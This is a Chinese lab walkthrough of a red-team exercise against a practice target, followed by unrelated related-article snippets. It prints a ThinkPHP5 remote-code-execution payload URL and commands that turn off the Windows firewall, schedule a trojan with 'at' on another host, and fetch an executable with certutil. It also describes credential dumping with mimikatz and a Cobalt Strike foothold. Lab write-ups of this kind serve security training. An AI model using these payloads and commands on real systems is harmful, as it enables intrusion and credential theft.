ATTCK红队评估(五)

news2024/11/24 15:50:51

环境搭建

靶场拓扑图:

靶机下载地址: 漏洞详情

外网信息收集

确定目标靶机地址:

发现主机192.168.135.150主机是本次攻击的目标地址。探测靶机开放的端口信息:

目标靶机开放了两个端口:80、3306,那没什么意外的话就是 web服务和mysql服务

目标靶机开放了80端口,中间件是Apache 3306是mysql服务,系统是windows系统。

默认漏洞脚本的探测结果,除了几个存在的敏感路径之外,似乎看不到什么信息。

看到了两个端口,先看看3306端口吧:是不是存在弱口令等信息:

发现存在白名单,不允许我们连接。

ThinkPHP5 RCE

80端口上是thinkphp的框架,版本是v5:

没有路由信息,接下来做一个目录扫描,看看有什么目录泄露出来:

这里做了递归扫描!看到了几个文件add.php文件,这个文件应该不是thinkphp默认搭建成功存在的文件。还有git信息的泄露!

先看下robots文件中是不是给出了相关的敏感路径:

robots文件中没有什么路径。看一下add文件:

看来是存在waf了,需要进行bypass。这个页面的左上角还存在一个GIF89a,尝试输入下,然后抓包看看数据包中的信息:

这里我最开始先去用ThinkPHP的漏洞检测工具,进行了检测,发现存在RCE。

http://192.168.135.150/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

另一个payload:

thinkphp5 5.0.22/5.1.29远程代码执行漏洞_thinkphp v5.0.22-CSDN博客

找到了一篇文章,直接写马进去:

返回了29,尝试访问写的马:

没问题,成功执行代码,连接蚁剑:

蚁剑连接成功!

administrator权限!

上线CS

先看看防火墙,杀毒软件等信息的开启状态:

netsh advfirewall show allprofile state

可以看到防火墙全部开启的状态,由于我们现在的权限还是很高的,直接关闭。当然也可以尝试正向链接。

netsh advfirewall set allprofile state off #关闭防火墙命令

接下来再看看杀软的信息:

tasklist /svc

似乎没有杀软存在,那就可以直接生成CS的反向🐎,上线CS了:

CS配置监听器:

上传马:

执行等待上线:

CS上线成功:

内网信息收集

可以看到存在两个网卡!192.168.138.0/24是另一张网卡!

使用mimikatz,拿到了明文的账号密码信息。存在域环境!

查看域内成员信息,发现了存在leo、admin用户。

域控就是administrator~

这里先去搭建了socks代理。

查看arp缓存表,发现了192.168.138.138主机存活:

确定主机之间能够通信,然后探测端口号:

看到192.168.138.138主机开放的端口比较多。利用上面的socks代理,先看看88端口上是不是存在web服务:

横向上线DC

但是一直访问不到。由于目标主机开放了139端口,似乎没有开放445端口。这里尝试一下利用IPC进行横向移动。

建立IPC链接!尝试访问192.168.138.138主机的共享C盘:

将正向马传至控下来的web主机:

利用copy命令,将他上传到192.168.138.138主机上:

查看到已经上传上去了!利用定时任务尝试执行木马文件。

这里使用了at和schtasks命令先测试了一下 192.168.138.138系统的版本信息:

at命令是 适用于windows 2012之前的操作系统
schtasks命令适用于windows 2012之后(包括windows 2012)操作系统

判断了一下,发现目标的机器是windows 2012之前的系统,它不支持schtasks命令。那么接下来我们就创建一个计划任务,然后等待执行,上线:

利用 net time 判断了当前的时间
然后根据当前的时间信息,创建一个定时任务
at \\192.168.138.138 0:07 c:\3333.exe

当时间到了0:07的时候,程序被执行,由于我们生成的马是正向的马,所以尝试使用connect 进行连接。

但是发现主机并没有上线。

确定一下木马文件没有被杀软等ban掉:

木马确实还在,但是无法上线,怀疑是防火墙规则,建立了入站规则,导致我们无法上线。换成反向马,再试试,反向马需要做转发上线。

建立转发上线的监听器:

继续将木马文件上传到外网主机上面:

再次利用copy命令复制文件:

上传上去之后,再次创建计划任务,尝试上线:

但是似乎还是无法上线。很奇怪。利用impacket包的atexec尝试进行命令执行:GitHub - fortra/impacket: Impacket is a collection of Python classes for working with network protocols. (impacket包下载地址)

正常能执行命令。权限还是system权限。那就尝试再次下载文件:

certutil.exe -urlcache -split -f http://192.168.138.136:80/6666.exe fx.exe

下载成功之后,文件会在C:\Windows\System32 目录下面保存:

利用共享目录查看一下是不是存在了:

没问题,下载成功!接下来再次利用脚本执行命令:

发现CS上成功上线了主机:

看一下,防火墙的状态:

防火墙全开了。应该也没有什么杀软,不然马都被杀了。

开启3389端口

关了防火墙,尝试远程上去,利用mimikatz获取到了明文的密码:

利用账号密码,同时和隧道:

rdesktop进行远程连接!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1807088.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

服务部署:.NET项目使用Docker构建镜像与部署

前提条件 安装Docker:确保你的Linux系统上已经安装了Docker。如果没有,请参考官方文档进行安装。 步骤一:准备项目文件 将你的.NET项目从Windows系统复制到Linux系统。你可以使用Git、SCP等工具来完成这个操作。如何是使用virtualbox虚拟电…

2024年6月8日 每周新增游戏

中医百科中药: 中医百科中药是一款非常强大的中药知识科普软件,该应用提供500多味中草药的文献资料,强大的搜索功能可根据功效、特点和关键词来快速查找中药,而且每味中药的图片、功效、主治、炮制方法等百科知识,可以很好的帮助你…

深入理解指针(三)

一、指针运算 1.1指针-整数 下面我们来看一个指针加整数的例子&#xff1a; #include<stdio.h> int main() { int arr[10] { 1,2,3,4,5,6,7,8,9,10 }; int* p &arr[0]; int i 0; int sz sizeof(arr) / sizeof(arr[0]); for (i 0; i < …

QT c++ 堆栈一些理解--限制对象建立在栈上--栈堆区别

图示形象化理解&#xff1a; 堆栈都是数据结构存取数据的方式 堆&#xff1a;理解为一个堆积物体&#xff0c;独立的分散的&#xff0c;当需要空间时&#xff0c;再找一个地方。需要的就是new关键字&#xff0c;动态申请一个空间。程序员自己动态分配空间&#xff0c;使用指针…

最近很多朋友都消失了。。。

你好&#xff0c;我是郭震 1 聊聊现状 最近听到一些铁铁们&#xff0c;跟我聊&#xff0c;聊到现在的工作情况。 有的工作几年被裁&#xff0c;现在待业找工作。 还有些学校毕业目前未找到工作。 还有一些从上海、北京离开回老家了。 关注我的很多都是IT相关或对编程学习感兴趣…

(南京观海微电子)——液晶画面Crosstalk的原理与本质分析

一、H-Crosstalk (与EE开发相关) 1.画面轻重载切换交界处有水平弱线或Block – Power IC 相关 – Root cause&#xff1a;AVDD drop 后恢复过慢 – Solution : Power IC 补偿调整优化 范例&#xff1a;AVDD在重载区Drop明显&#xff0c;且恢复较慢导致的Hcrosstalk&#xff1b;…

目录穿越漏洞CVE-2018-7171复现 又学到一招小技巧!!!!

还是半夜睡不着&#xff0c;打开靶机开始操作。今天看了文件下载和目录穿越漏洞想结合以及防御方法。半夜来进行操作一波。复现一下漏洞&#xff0c;这个网上的文章页比较的少&#xff01;&#xff01;&#xff01; 开始操作起来&#xff01;&#xff01;&#xff01; 进入到页…

Vue3中的常见组件通信之`$refs`、`$parent`

Vue3中的常见组件通信之$refs、$parent 概述 ​ 在vue3中常见的组件通信有props、mitt、v-model、 r e f s 、 refs、 refs、parent、provide、inject、pinia、slot等。不同的组件关系用不同的传递方式。常见的撘配形式如下表所示。 组件关系传递方式父传子1. props2. v-mod…

Linux “ 软件管理 “

软件管理 widows 安装 方法一&#xff1a; 双击exe安装包&#xff0c;就可以安装。 用exe安装的软件会破记录到注册表中。 注册会记录安装位置&#xff0c;软件名称。 方法二&#xff1a; 用绿色方式进行安装。 不用写到注册表中&#xff0c;因此无法在开始菜单里面查看和卸…

javascript二进制流转图片的操作方法:File、Blob、FileReader、ArrayBuffer、Base64格式之间的转换

文章目录 引言I 使用img标签来加载图片1.1 使用img标签来加载图片1.2 在加载图片时进行身份验证: sign/AuthorizationII 跨域请求中包含凭证2.1 Fetch API在跨域请求中包含凭证2.2 ajax在跨域请求中包含凭证III 显示图片方式3.1 创建一个URL指向这个Blob对象3.2 获取ArrayBuff…

用AI制作历史解说视频:GPT + MidJourney + PiKa + FunSound + 剪映

1. 项目介绍 最近某站看到一个看到利用AI创作视频解说&#xff0c;成品画面很酷炫。对此以初学者视角进行复现&#xff0c;创意来源&#xff1a;用AI制作历史解说视频 2. 开始创作 我们参照原作者展示的内容&#xff0c;对古代人物屈原来生成解说视频。 2.1 故事脚本分镜 【…

C++全栈聊天项目(20) 聊天列表动态加载

聊天列表动态加载 如果要动态加载聊天列表内容&#xff0c;我们可以在列表的滚动区域捕获鼠标滑轮事件&#xff0c;并且在滚动到底部的时候我们发送一个加载聊天用户的信号 bool ChatUserList::eventFilter(QObject *watched, QEvent *event) {// 检查事件是否是鼠标悬浮进入…

dockerhub不可用临时解决方案

近日&#xff0c;在拉取一些docker hub的镜像的时候死活拉不下来&#xff0c;要么超时&#xff0c;要么无法接站点地址&#xff0c;不管是docker hub,还是国内镜像站&#xff0c;统统都不行了。 经过各大媒体报道&#xff0c;以及自己的亲身验证&#xff0c;才知道&#xff0c…

[imx6ull]Linux下的SocketCAN通信

文章目录 一、CAN总线协议1.简介2.电气属性3.通信原理①数据帧的帧格式&#xff1a;②总线同步③总线竞争④数据保护 二、Linux下CAN的操作1.硬件连接①CAN电平转换器②扩展板使用CAN 2.查询 can 信息3.开启/关闭 can4.发送/接收 can 数据5.设置 can 参数 三、CAN的回环测试四、…

Spring之SpringMVC源码

SpringMVC源码 一、SpringMVC的基本结构 1.MVC简介 以前的纯Servlet的处理方式&#xff1a; Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {String type req.getParameter(Constant.REQUEST_PA…

Autodesk 3ds Max软件下载安装;3ds Max功能强大的三维建模、渲染软件安装包获取

3ds Max&#xff0c;无论是初学者还是资深设计师&#xff0c;都能通过3ds Max在数字世界中实现自己的创意&#xff0c;打造出令人惊叹的三维作品。 在3ds Max中&#xff0c;灯光系统是至关重要的一环。它提供了光度学灯光和标准灯光两种主要类型&#xff0c;用于照亮和增强场景…

预备知识----技术架构演进之路

单机架构 简介&#xff1a;应用服务和数据库服务共用一台服务器。 出现原因&#xff1a;出现在互联网早期&#xff0c;访问量较小&#xff0c;单机足以满足需求。 架构工作原理&#xff1a;通过应用&#xff08;划分了多个模块&#xff09;和数据库在单个服务器上写作完成业务…

Liunx环境下redis主从集群搭建(保姆级教学)01

Linux 环境安装redis 准备一台linux虚拟机 我使用基于Linux的开源类服务器操作系统CentOS7。 打开虚拟机&#xff0c;输入密码登录 下载linux版本的redis安装包 已经下载redis-5.0.10.tar.gz 创建一个文件夹用来安装redis,我在/opt目录下创建redis文件夹 将下载好的redis…

前端_调试工具_Chrome Devtools

目录 一、上左侧菜单功能 1.选择功能 2.手机/电脑 显示切换功能 3.内存 4.元素 5.控制台 6.源代码/来源 7.网络 8.应用 9.性能 10.安全 11.Lighthouse 12.记录器 13.性能数据分析 二、上右侧菜单功能 1.警告 2.设置 3....更多功能 谷歌浏览器自带了调试工具C…

AE电源pinnacle软件新款老款二款软件

AE电源pinnacle软件新款老款二款软件